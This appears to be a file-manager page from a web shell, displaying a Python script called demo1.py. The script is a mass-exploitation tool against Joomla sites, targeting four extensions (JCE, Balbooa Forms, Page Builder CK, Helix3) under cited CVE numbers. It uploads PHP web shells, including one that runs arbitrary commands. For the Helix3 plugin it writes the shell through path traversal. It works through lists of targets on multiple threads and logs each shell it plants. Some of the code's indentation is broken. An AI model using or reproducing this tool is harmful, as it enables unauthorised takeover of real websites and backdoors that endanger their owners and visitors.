文件操作 - demo1.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/demo1.py

编辑文件内容

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Joomla Ultimate Upload Exploiter - LUBV V1 Uyumlu
- 4 farkli CVE (Balbooa Forms, JCE, Page Builder CK, Helix3)
- Upload shell yukler (dosya yukleme formu)
- Multi-thread, timeout, proxy destegi
- Saglam, hata toleransli, hizli
"""

import sys
import io
import re
import base64
import json
import uuid
import argparse
import threading
import time
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin

# Encoding ayari
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

urllib3.disable_warnings()

GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
RESET = '\033[0m'

# ─── Upload Shell Kodu ──────────────────────────────────────────────────
UPLOAD_SHELL = '''<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
    $target = $_FILES['file']['name'];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "<pre>Dosya yuklendi: " . $target . "</pre>";
    } else {
        echo "<pre>Dosya yuklenemedi</pre>";
    }
} else {
    echo '<form method="POST" enctype="multipart/form-data">
          <input type="file" name="file">
          <input type="submit" value="Yukle">
          </form>';
}
?>'''

SHELL = '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>'
UPLOAD_NAME = 'upload.xml.php'

class JoomlaUploadExploit:
    def __init__(self, target, timeout=10, proxy=None):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        self.session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0'})

def _check_shell(self, url):
        try:
            test = self.session.get(url + '?c=whoami', timeout=5)
            return test.status_code == 200 and len(test.text) > 0
        except:
            return False

def jce_exploit(self):
        """CVE-2026-48907: JCE Editor Upload Shell"""
        try:
            r = self.session.get(self.target + '/', timeout=self.timeout)
            token = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text)
            if not token:
                return None
            token = token.group(1)
            files = {'profile_file': (UPLOAD_NAME, UPLOAD_SHELL, 'application/xml')}
            data = {'task': 'profiles.import', token: '1'}
            r = self.session.post(self.target + '/index.php?option=com_jce', files=files, data=data, timeout=self.timeout)
            if r.status_code == 200:
                shell_url = self.target + '/tmp/' + UPLOAD_NAME
                if self._check_shell(shell_url):
                    return {'cve': 'CVE-2026-48907', 'shell': shell_url, 'type': 'upload'}
            return None
        except:
            return None

def balbooa_exploit(self):
        """CVE-2026-56291: Balbooa Forms Upload Shell"""
        try:
            files = {'file': (UPLOAD_NAME, UPLOAD_SHELL, 'application/x-php')}
            r = self.session.post(self.target + '/index.php?option=com_baforms&task=form.uploadAttachmentFile', files=files, timeout=self.timeout)
            if r.status_code == 200:
                paths = [
                    '/images/baforms/uploads/form-1/' + UPLOAD_NAME,
                    '/images/baforms/uploads/' + UPLOAD_NAME,
                    '/media/baforms/uploads/' + UPLOAD_NAME
                ]
                for path in paths:
                    shell_url = self.target + path
                    if self._check_shell(shell_url):
                        return {'cve': 'CVE-2026-56291', 'shell': shell_url, 'type': 'upload'}
            return None
        except:
            return None

def pbck_exploit(self):
        """CVE-2026-56290: Page Builder CK Upload Shell"""
        try:
            r = self.session.get(self.target + '/', timeout=self.timeout)
            token = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text)
            if not token:
                return None
            token = token.group(1)
            name = f'upload_{uuid.uuid4().hex[:8]}.php'
            data = {
                'token': token,
                'font_name': name,
                'font_url': 'data:application/octet-stream;base64,' + base64.b64encode(UPLOAD_SHELL.encode()).decode()
            }
            r = self.session.post(self.target + '/index.php?option=com_pagebuilderck&task=fonts.save', data=data, timeout=self.timeout)
            if r.status_code == 200:
                shell_url = self.target + f'/media/com_pagebuilderck/gfonts/{name}'
                if self._check_shell(shell_url):
                    return {'cve': 'CVE-2026-56290', 'shell': shell_url, 'type': 'upload'}
            return None
        except:
            return None

def helix3_exploit(self):
        """CVE-2026-49049: Helix3 Upload Shell"""
        try:
            data = {
                'data[action]': 'save',
                'data[layoutName]': '../../../../../../' + UPLOAD_NAME,
                'data[content]': UPLOAD_SHELL
            }
            r = self.session.post(self.target + '/index.php?option=com_ajax&plugin=helix3&format=json', data=data, timeout=self.timeout)
            if r.status_code == 200:
                shell_url = self.target + '/' + UPLOAD_NAME
                if self._check_shell(shell_url):
                    return {'cve': 'CVE-2026-49049', 'shell': shell_url, 'type': 'upload'}
            return None
        except:
            return None

def exploit_all(self):
        methods = [
            self.jce_exploit,
            self.balbooa_exploit,
            self.pbck_exploit,
            self.helix3_exploit
        ]
        for method in methods:
            result = method()
            if result:
                return result
        return None

def main():
    parser = argparse.ArgumentParser(description='Joomla Ultimate Upload Exploiter')
    parser.add_argument('-u', '--url', help='Tek hedef URL')
    parser.add_argument('-l', '--list', help='Hedef listesi dosyasi (txt)')
    parser.add_argument('-t', '--threads', type=int, default=10)
    parser.add_argument('-o', '--output', default='upload_shells.txt')
    parser.add_argument('--timeout', type=int, default=10)
    parser.add_argument('--proxy', help='HTTP proxy (ornek: http://127.0.0.1:8080)')
    args = parser.parse_args()

if not args.url and not args.list:
        parser.print_help()
        sys.exit(1)

targets = []
    if args.list:
        with open(args.list, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    else:
        targets = [args.url]

print(f"{BLUE}[*] {len(targets)} targets scanning...{RESET}")

def worker(target):
        exp = JoomlaUploadExploit(target, args.timeout, args.proxy)
        result = exp.exploit_all()
        if result:
            print(f"{GREEN}[+] {target} -> {result['cve']} -> Shell: {result['shell']}{RESET}")
            return result['shell']
        print(f"{RED}[-] {target} -> Failed{RESET}")
        return None

shells = []
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        for res in executor.map(worker, targets):
            if res:
                shells.append(res)

if shells and args.output:
        with open(args.output, 'w') as f:
            for s in shells:
                f.write(s + '\n')
        print(f"{GREEN}[+] {len(shells)} shell kaydedildi: {args.output}{RESET}")

if __name__ == '__main__':
    main()

文件操作 - demo1.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/demo1.py

编辑文件内容

修改文件时间

删除文件